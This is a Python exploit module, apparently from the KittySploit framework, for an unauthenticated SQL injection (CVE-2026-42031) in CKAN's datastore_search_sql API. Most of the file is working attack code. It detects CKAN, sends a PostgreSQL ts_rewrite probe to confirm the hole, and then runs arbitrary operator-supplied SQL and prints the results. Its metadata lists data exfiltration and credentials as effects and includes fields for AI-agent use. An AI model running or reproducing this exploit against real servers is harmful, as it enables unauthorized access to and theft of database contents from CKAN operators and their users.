CKAN DataStore SQL Injection (CVE-2026-42031)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CKAN datastore_search_sql unauth SQLi (CVE-2026-42031)."""

import json
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'CKAN DataStore SQL Injection (CVE-2026-42031)',
        'description': (
            'Exploits CVE-2026-42031 unauthenticated SQL injection in CKAN '
            'datastore_search_sql API via PostgreSQL ts_rewrite primitives.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-42031'],
        'platform': Platform.MULTI,
        'references': [
            'https://github.com/ckan/ckan/security/advisories/GHSA-h7j7-3rx6-xvcg',
        ],
        'tags': ['ckan', 'sqli', 'datastore', 'unauth'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'risk_signals'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2026_42031_detect'],
            },
        },
    }

    sql_query = OptString(
        "SELECT current_database()",
        'SQL query to run via datastore_search_sql',
        required=False,
    )

    def _ckan(self) -> bool:
        r = self.http_request(method='GET', path='/api/action/status_show', allow_redirects=False)
        body = (r.text or '') if r else ''
        return r and r.status_code == 200 and 'ckan_version' in body

    def execute(self, sql: str) -> str:
        encoded = urllib.parse.quote(str(sql))
        path = f'/api/action/datastore_search_sql?sql={encoded}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        if not self._ckan():
            return {'vulnerable': False, 'reason': 'CKAN API not detected', 'confidence': 'medium'}
        probe = (
            "SELECT ts_rewrite('a'::tsquery, 'SELECT ''a''::tsquery, "
            "(SELECT current_database())::tsquery)"
        )
        body = self.execute(probe)
        if '"success": true' in body and 'records' in body:
            return {'vulnerable': True, 'reason': 'CVE-2026-42031 SQLi confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'SQLi probe failed', 'confidence': 'medium'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        sql = str(self.sql_query or 'SELECT current_database()')
        print_status(f'Running: {sql}')
        body = self.execute(sql)
        try:
            print_success(json.dumps(json.loads(body), indent=2)[:3000])
        except json.JSONDecodeError:
            print_success(body[:3000])
        return True